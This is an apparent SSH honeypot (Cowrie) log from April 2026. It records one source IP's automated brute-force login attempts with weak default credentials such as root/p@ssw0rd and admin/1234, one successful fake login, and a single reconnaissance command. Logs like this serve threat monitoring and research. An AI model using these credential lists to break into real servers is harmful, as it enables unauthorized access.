{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:19.912722Z","src_ip":"192.109.200.78","session":"597bcc474706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:20.004232Z","src_ip":"192.109.200.78","session":"597bcc474706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:20.252772Z","src_ip":"192.109.200.78","session":"597bcc474706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:21.463135Z","src_ip":"192.109.200.78","session":"597bcc474706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39868,"dst_ip":"159.203.135.109","dst_port":22,"session":"12644626fda2","protocol":"ssh","message":"New connection: 192.109.200.78:39868 (159.203.135.109:22) [session: 12644626fda2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:24.065117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:24.069854Z","src_ip":"192.109.200.78","session":"12644626fda2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:24.155689Z","src_ip":"192.109.200.78","session":"12644626fda2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:24.410091Z","src_ip":"192.109.200.78","session":"12644626fda2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.190044403076172,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:24.540557Z","src_ip":"154.27.213.26","session":"d4ee175f6758","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:25.496776Z","src_ip":"192.109.200.78","session":"12644626fda2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39890,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a3d3cf28733","protocol":"ssh","message":"New connection: 192.109.200.78:39890 (159.203.135.109:22) [session: 8a3d3cf28733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:27.879675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:27.884762Z","src_ip":"192.109.200.78","session":"8a3d3cf28733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:27.967373Z","src_ip":"192.109.200.78","session":"8a3d3cf28733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:28.211930Z","src_ip":"192.109.200.78","session":"8a3d3cf28733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:29.393072Z","src_ip":"192.109.200.78","session":"8a3d3cf28733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35638,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae7a499377d3","protocol":"ssh","message":"New connection: 192.109.200.78:35638 (159.203.135.109:22) [session: ae7a499377d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:31.679032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:31.687892Z","src_ip":"192.109.200.78","session":"ae7a499377d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:31.765427Z","src_ip":"192.109.200.78","session":"ae7a499377d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:32.219158Z","src_ip":"192.109.200.78","session":"ae7a499377d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:33.313427Z","src_ip":"192.109.200.78","session":"ae7a499377d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35650,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7fd2b584281","protocol":"ssh","message":"New connection: 192.109.200.78:35650 (159.203.135.109:22) [session: c7fd2b584281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:35.679585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:35.685204Z","src_ip":"192.109.200.78","session":"c7fd2b584281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:35.767770Z","src_ip":"192.109.200.78","session":"c7fd2b584281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:36.304290Z","src_ip":"192.109.200.78","session":"c7fd2b584281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:37.391963Z","src_ip":"192.109.200.78","session":"c7fd2b584281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35746,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3b7ee30775a","protocol":"ssh","message":"New connection: 192.109.200.78:35746 (159.203.135.109:22) [session: d3b7ee30775a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:39.596647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:39.602241Z","src_ip":"192.109.200.78","session":"d3b7ee30775a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:39.698303Z","src_ip":"192.109.200.78","session":"d3b7ee30775a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"t1","password":"123456","message":"login attempt [t1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:39.952120Z","src_ip":"192.109.200.78","session":"d3b7ee30775a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:41.038002Z","src_ip":"192.109.200.78","session":"d3b7ee30775a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35754,"dst_ip":"159.203.135.109","dst_port":22,"session":"70dd9064c18b","protocol":"ssh","message":"New connection: 192.109.200.78:35754 (159.203.135.109:22) [session: 70dd9064c18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:43.580762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:43.585470Z","src_ip":"192.109.200.78","session":"70dd9064c18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:43.668272Z","src_ip":"192.109.200.78","session":"70dd9064c18b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:43.914984Z","src_ip":"192.109.200.78","session":"70dd9064c18b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:44.123881Z","src_ip":"192.109.200.78","session":"70dd9064c18b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:44.126342Z","src_ip":"192.109.200.78","session":"70dd9064c18b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:44.212939Z","src_ip":"192.109.200.78","session":"70dd9064c18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:44.218043Z","src_ip":"192.109.200.78","session":"70dd9064c18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35760,"dst_ip":"159.203.135.109","dst_port":22,"session":"041a73fdb4c6","protocol":"ssh","message":"New connection: 192.109.200.78:35760 (159.203.135.109:22) [session: 041a73fdb4c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:47.380189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:47.384894Z","src_ip":"192.109.200.78","session":"041a73fdb4c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:47.466859Z","src_ip":"192.109.200.78","session":"041a73fdb4c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:47.744372Z","src_ip":"192.109.200.78","session":"041a73fdb4c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:48.828827Z","src_ip":"192.109.200.78","session":"041a73fdb4c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":53918,"dst_ip":"159.203.135.109","dst_port":22,"session":"80d84f542e2a","protocol":"ssh","message":"New connection: 170.79.37.88:53918 (159.203.135.109:22) [session: 80d84f542e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:44:49.629457Z"}
